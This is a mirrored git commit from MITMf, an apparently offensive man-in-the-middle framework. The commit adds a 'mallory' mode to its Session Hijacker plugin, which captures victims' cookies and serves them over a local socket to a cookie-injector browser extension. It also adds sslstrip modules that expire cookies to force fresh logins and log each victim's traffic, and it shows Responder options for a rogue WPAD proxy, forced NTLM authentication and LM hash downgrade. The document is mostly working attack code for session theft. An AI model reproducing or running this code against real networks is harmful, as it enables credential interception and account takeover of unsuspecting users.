mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-11 07:37:11 -07:00
added mallory option for session hijacking
This commit is contained in:
parent
32bd4b64e4
commit
ebf6af1da9
10 changed files with 246 additions and 15 deletions
|
@ -4,10 +4,10 @@
|
||||||
; generic settings for tampering engine
|
; generic settings for tampering engine
|
||||||
|
|
||||||
enabled=True
|
enabled=True
|
||||||
tamper_class=libs.AppCachePoisonClass
|
tamper_class=libs.sslstripkoto.AppCachePoisonClass
|
||||||
;all settings below are specific for AppCachePoison
|
;all settings below are specific for AppCachePoison
|
||||||
|
|
||||||
templates_path=config_files/app_cache_poison_templates
|
templates_path=config/app_cache_poison_templates
|
||||||
;enable_only_in_useragents=Chrome|Firefox
|
;enable_only_in_useragents=Chrome|Firefox
|
||||||
|
|
||||||
; when visiting first url matching following expression we will embed iframes with all tamper URLs
|
; when visiting first url matching following expression we will embed iframes with all tamper URLs
|
||||||
|
|
|
@ -61,9 +61,7 @@ if HTMLToServe == None:
|
||||||
HTMLToServe = ''
|
HTMLToServe = ''
|
||||||
|
|
||||||
if len(NumChal) is not 16:
|
if len(NumChal) is not 16:
|
||||||
print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n"
|
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
||||||
parser.print_help()
|
|
||||||
exit(-1)
|
|
||||||
|
|
||||||
def IsOsX():
|
def IsOsX():
|
||||||
Os_version = sys.platform
|
Os_version = sys.platform
|
||||||
|
@ -2504,7 +2502,7 @@ def start_responder(options, ip_address):
|
||||||
if AnalyzeMode:
|
if AnalyzeMode:
|
||||||
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n'
|
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n'
|
||||||
|
|
||||||
start_message = "Respoder will redirect requests to: %s\n" % ip_address
|
start_message = "Responder will redirect requests to: %s\n" % ip_address
|
||||||
start_message += "Challenge set: %s\n" % NumChal
|
start_message += "Challenge set: %s\n" % NumChal
|
||||||
start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off
|
start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off
|
||||||
start_message += "WPAD script loaded: %s\n" % WPAD_Script
|
start_message += "WPAD script loaded: %s\n" % WPAD_Script
|
||||||
|
|
|
@ -26,13 +26,13 @@ class ResponseTampererFactory:
|
||||||
|
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
_default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"}
|
_default_config = {"enabled": False, "tamper_class": "libs.sslstripkoto.DummyResponseTamperer"}
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def createTamperer(configFile):
|
def createTamperer(configFile):
|
||||||
logging.debug(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
||||||
config = ResponseTampererFactory._default_config.copy()
|
config = ResponseTampererFactory._default_config.copy()
|
||||||
if configFile:
|
if configFile:
|
||||||
config.update(ResponseTampererFactory.parseConfig(configFile))
|
config.update(ResponseTampererFactory.parseConfig(configFile))
|
||||||
|
|
106
libs/sslstripplus/CookieCleaner.py
Normal file
106
libs/sslstripplus/CookieCleaner.py
Normal file
|
@ -0,0 +1,106 @@
|
||||||
|
# Copyright (c) 2004-2011 Moxie Marlinspike
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import string
|
||||||
|
|
||||||
|
class CookieCleaner:
|
||||||
|
'''This class cleans cookies we haven't seen before. The basic idea is to
|
||||||
|
kill sessions, which isn't entirely straight-forward. Since we want this to
|
||||||
|
be generalized, there's no way for us to know exactly what cookie we're trying
|
||||||
|
to kill, which also means we don't know what domain or path it has been set for.
|
||||||
|
|
||||||
|
The rule with cookies is that specific overrides general. So cookies that are
|
||||||
|
set for mail.foo.com override cookies with the same name that are set for .foo.com,
|
||||||
|
just as cookies that are set for foo.com/mail override cookies with the same name
|
||||||
|
that are set for foo.com/
|
||||||
|
|
||||||
|
The best we can do is guess, so we just try to cover our bases by expiring cookies
|
||||||
|
in a few different ways. The most obvious thing to do is look for individual cookies
|
||||||
|
and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
|
||||||
|
set by Javascript instead of a Set-Cookie header, and if we block those the site
|
||||||
|
will think cookies are disabled in the browser. So we do the expirations and whitlisting
|
||||||
|
based on client,server tuples. The first time a client hits a server, we kill whatever
|
||||||
|
cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
_instance = None
|
||||||
|
|
||||||
|
def getInstance():
|
||||||
|
if CookieCleaner._instance == None:
|
||||||
|
CookieCleaner._instance = CookieCleaner()
|
||||||
|
|
||||||
|
return CookieCleaner._instance
|
||||||
|
|
||||||
|
getInstance = staticmethod(getInstance)
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.cleanedCookies = set();
|
||||||
|
self.enabled = False
|
||||||
|
|
||||||
|
def setEnabled(self, enabled):
|
||||||
|
self.enabled = enabled
|
||||||
|
|
||||||
|
def isClean(self, method, client, host, headers):
|
||||||
|
if method == "POST": return True
|
||||||
|
if not self.enabled: return True
|
||||||
|
if not self.hasCookies(headers): return True
|
||||||
|
|
||||||
|
return (client, self.getDomainFor(host)) in self.cleanedCookies
|
||||||
|
|
||||||
|
def getExpireHeaders(self, method, client, host, headers, path):
|
||||||
|
domain = self.getDomainFor(host)
|
||||||
|
self.cleanedCookies.add((client, domain))
|
||||||
|
|
||||||
|
expireHeaders = []
|
||||||
|
|
||||||
|
for cookie in headers['cookie'].split(";"):
|
||||||
|
cookie = cookie.split("=")[0].strip()
|
||||||
|
expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
|
||||||
|
expireHeaders.extend(expireHeadersForCookie)
|
||||||
|
|
||||||
|
return expireHeaders
|
||||||
|
|
||||||
|
def hasCookies(self, headers):
|
||||||
|
return 'cookie' in headers
|
||||||
|
|
||||||
|
def getDomainFor(self, host):
|
||||||
|
hostParts = host.split(".")
|
||||||
|
return "." + hostParts[-2] + "." + hostParts[-1]
|
||||||
|
|
||||||
|
def getExpireCookieStringFor(self, cookie, host, domain, path):
|
||||||
|
pathList = path.split("/")
|
||||||
|
expireStrings = list()
|
||||||
|
|
||||||
|
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
|
||||||
|
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||||
|
|
||||||
|
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
|
||||||
|
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||||
|
|
||||||
|
if len(pathList) > 2:
|
||||||
|
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||||
|
domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||||
|
|
||||||
|
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||||
|
host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||||
|
|
||||||
|
return expireStrings
|
||||||
|
|
||||||
|
|
28
libs/sslstripplus/DnsCache.py
Normal file
28
libs/sslstripplus/DnsCache.py
Normal file
|
@ -0,0 +1,28 @@
|
||||||
|
|
||||||
|
class DnsCache:
|
||||||
|
|
||||||
|
'''
|
||||||
|
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
|
||||||
|
'''
|
||||||
|
|
||||||
|
_instance = None
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.cache = {}
|
||||||
|
|
||||||
|
def cacheResolution(self, host, address):
|
||||||
|
self.cache[host] = address
|
||||||
|
|
||||||
|
def getCachedAddress(self, host):
|
||||||
|
if host in self.cache:
|
||||||
|
return self.cache[host]
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def getInstance():
|
||||||
|
if DnsCache._instance == None:
|
||||||
|
DnsCache._instance = DnsCache()
|
||||||
|
|
||||||
|
return DnsCache._instance
|
||||||
|
|
||||||
|
getInstance = staticmethod(getInstance)
|
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
|
@ -0,0 +1,44 @@
|
||||||
|
# Copyright (c) 2004-2009 Moxie Marlinspike
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from twisted.internet.protocol import ClientFactory
|
||||||
|
|
||||||
|
class ServerConnectionFactory(ClientFactory):
|
||||||
|
|
||||||
|
def __init__(self, command, uri, postData, headers, client):
|
||||||
|
self.command = command
|
||||||
|
self.uri = uri
|
||||||
|
self.postData = postData
|
||||||
|
self.headers = headers
|
||||||
|
self.client = client
|
||||||
|
|
||||||
|
def buildProtocol(self, addr):
|
||||||
|
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||||
|
|
||||||
|
def clientConnectionFailed(self, connector, reason):
|
||||||
|
logging.debug("Server connection failed.")
|
||||||
|
|
||||||
|
destination = connector.getDestination()
|
||||||
|
|
||||||
|
if (destination.port != 443):
|
||||||
|
logging.debug("Retrying via SSL")
|
||||||
|
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||||
|
else:
|
||||||
|
self.client.finish()
|
||||||
|
|
|
@ -40,6 +40,25 @@ class URLMonitor:
|
||||||
|
|
||||||
return (client,url) in self.strippedURLs
|
return (client,url) in self.strippedURLs
|
||||||
|
|
||||||
|
def writeClientLog(self, client, headers, message):
|
||||||
|
if not os.path.exists("./logs"):
|
||||||
|
os.makedirs("./logs")
|
||||||
|
|
||||||
|
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
|
||||||
|
|
||||||
|
try:
|
||||||
|
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
|
||||||
|
except KeyError:
|
||||||
|
log_message = "#Log file for %s\n" % client.getClientIP()
|
||||||
|
|
||||||
|
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||||
|
log_file.write(log_message + message + "\n")
|
||||||
|
log_file.close()
|
||||||
|
else:
|
||||||
|
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||||
|
log_file.write(message + "\n")
|
||||||
|
log_file.close()
|
||||||
|
|
||||||
def getSecurePort(self, client, url):
|
def getSecurePort(self, client, url):
|
||||||
if (client,url) in self.strippedURLs:
|
if (client,url) in self.strippedURLs:
|
||||||
return self.strippedURLPorts[(client,url)]
|
return self.strippedURLPorts[(client,url)]
|
||||||
|
|
|
@ -2,7 +2,6 @@ from plugins.plugin import Plugin
|
||||||
from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
|
from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
|
||||||
#import threading
|
#import threading
|
||||||
|
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
name = "App Cache Poison"
|
name = "App Cache Poison"
|
||||||
optname = "appoison"
|
optname = "appoison"
|
||||||
|
@ -13,6 +12,6 @@ class AppCachePlugin(Plugin):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.config_file = "./config/app_cache_poison.cfg"
|
self.config_file = "./config/app_cache_poison.cfg"
|
||||||
|
|
||||||
print "[*] App Cache Poison plugin online"
|
print "[*] App Cache Poison plugin online"
|
||||||
ResponseTampererFactory.buildTamperer(self.config_file)
|
ResponseTampererFactory().buildTamperer(self.config_file)
|
||||||
|
|
|
@ -44,4 +44,4 @@ class Responder(Plugin):
|
||||||
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
||||||
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||||
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
||||||
options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose")
|
options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose")
|
|
@ -3,11 +3,14 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from libs.publicsuffix import PublicSuffixList
|
from libs.publicsuffix import PublicSuffixList
|
||||||
from urlparse import urlparse
|
from urlparse import urlparse
|
||||||
|
import threading
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import logging
|
import logging
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
|
||||||
class SessionHijacker(Plugin):
|
class SessionHijacker(Plugin):
|
||||||
name = "Session Hijacker"
|
name = "Session Hijacker"
|
||||||
|
@ -21,9 +24,11 @@ class SessionHijacker(Plugin):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.psl = PublicSuffixList()
|
self.psl = PublicSuffixList()
|
||||||
self.firefox = options.firefox
|
self.firefox = options.firefox
|
||||||
|
self.mallory = options.mallory
|
||||||
self.save_dir = "./logs"
|
self.save_dir = "./logs"
|
||||||
self.seen_hosts = {}
|
self.seen_hosts = {}
|
||||||
self.sql_conns = {}
|
self.sql_conns = {}
|
||||||
|
self.sessions = []
|
||||||
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
|
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
|
||||||
|
|
||||||
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
|
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
|
||||||
|
@ -38,6 +43,11 @@ class SessionHijacker(Plugin):
|
||||||
if not os.path.exists("./logs"):
|
if not os.path.exists("./logs"):
|
||||||
os.makedirs("./logs")
|
os.makedirs("./logs")
|
||||||
|
|
||||||
|
if self.mallory:
|
||||||
|
t = threading.Thread(name='mallory_server', target=self.mallory_server, args=())
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
print "[*] Session Hijacker plugin online"
|
print "[*] Session Hijacker plugin online"
|
||||||
|
|
||||||
def cleanHeaders(self, request): # Client => Server
|
def cleanHeaders(self, request): # Client => Server
|
||||||
|
@ -45,6 +55,9 @@ class SessionHijacker(Plugin):
|
||||||
client_ip = request.getClientIP()
|
client_ip = request.getClientIP()
|
||||||
|
|
||||||
if 'cookie' in headers:
|
if 'cookie' in headers:
|
||||||
|
|
||||||
|
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||||
|
|
||||||
if self.firefox:
|
if self.firefox:
|
||||||
url = "http://" + headers['host'] + request.getPathFromUri()
|
url = "http://" + headers['host'] + request.getPathFromUri()
|
||||||
for cookie in headers['cookie'].split(';'):
|
for cookie in headers['cookie'].split(';'):
|
||||||
|
@ -52,9 +65,10 @@ class SessionHijacker(Plugin):
|
||||||
cname = str(cookie)[0:eq].strip()
|
cname = str(cookie)[0:eq].strip()
|
||||||
cvalue = str(cookie)[eq+1:].strip()
|
cvalue = str(cookie)[eq+1:].strip()
|
||||||
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
||||||
else:
|
|
||||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
|
||||||
|
|
||||||
|
if self.mallory:
|
||||||
|
self.sessions.append((headers['host'], headers['cookie']))
|
||||||
|
logging.info("%s Sent cookie to browser extension" % client_ip)
|
||||||
|
|
||||||
#def handleHeader(self, request, key, value): # Server => Client
|
#def handleHeader(self, request, key, value): # Server => Client
|
||||||
# if 'set-cookie' in request.client.headers:
|
# if 'set-cookie' in request.client.headers:
|
||||||
|
@ -66,6 +80,28 @@ class SessionHijacker(Plugin):
|
||||||
# else:
|
# else:
|
||||||
# logging.info(message)
|
# logging.info(message)
|
||||||
|
|
||||||
|
def mallory_server(self):
|
||||||
|
host = ''
|
||||||
|
port = 20666
|
||||||
|
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
server.bind((host,port))
|
||||||
|
server.listen(1)
|
||||||
|
while True:
|
||||||
|
client, addr = server.accept()
|
||||||
|
if addr[0] != "127.0.0.1":
|
||||||
|
client.send("Hacked By China!")
|
||||||
|
client.close()
|
||||||
|
continue
|
||||||
|
request = client.recv(8192)
|
||||||
|
request = request.split('\n')
|
||||||
|
path = request[0].split()[1]
|
||||||
|
client.send("HTTP/1.0 200 OK\r\n")
|
||||||
|
client.send("Content-Type: text/html\r\n\r\n")
|
||||||
|
if path == "/":
|
||||||
|
client.send(json.dumps(self.sessions))
|
||||||
|
client.close()
|
||||||
|
|
||||||
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
|
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
|
||||||
|
|
||||||
session_dir=self.save_dir + "/" + ip
|
session_dir=self.save_dir + "/" + ip
|
||||||
|
@ -76,7 +112,7 @@ class SessionHijacker(Plugin):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if not os.path.exists(session_dir):
|
if not os.path.exists(session_dir):
|
||||||
os.makedirs(session_dir)
|
os.makedirs(session_dir)
|
||||||
|
|
||||||
db = sqlite3.connect(cookie_file, isolation_level=None)
|
db = sqlite3.connect(cookie_file, isolation_level=None)
|
||||||
self.sql_conns[ip] = db.cursor()
|
self.sql_conns[ip] = db.cursor()
|
||||||
|
@ -114,6 +150,7 @@ class SessionHijacker(Plugin):
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
||||||
|
options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension')
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
if self.firefox:
|
if self.firefox:
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue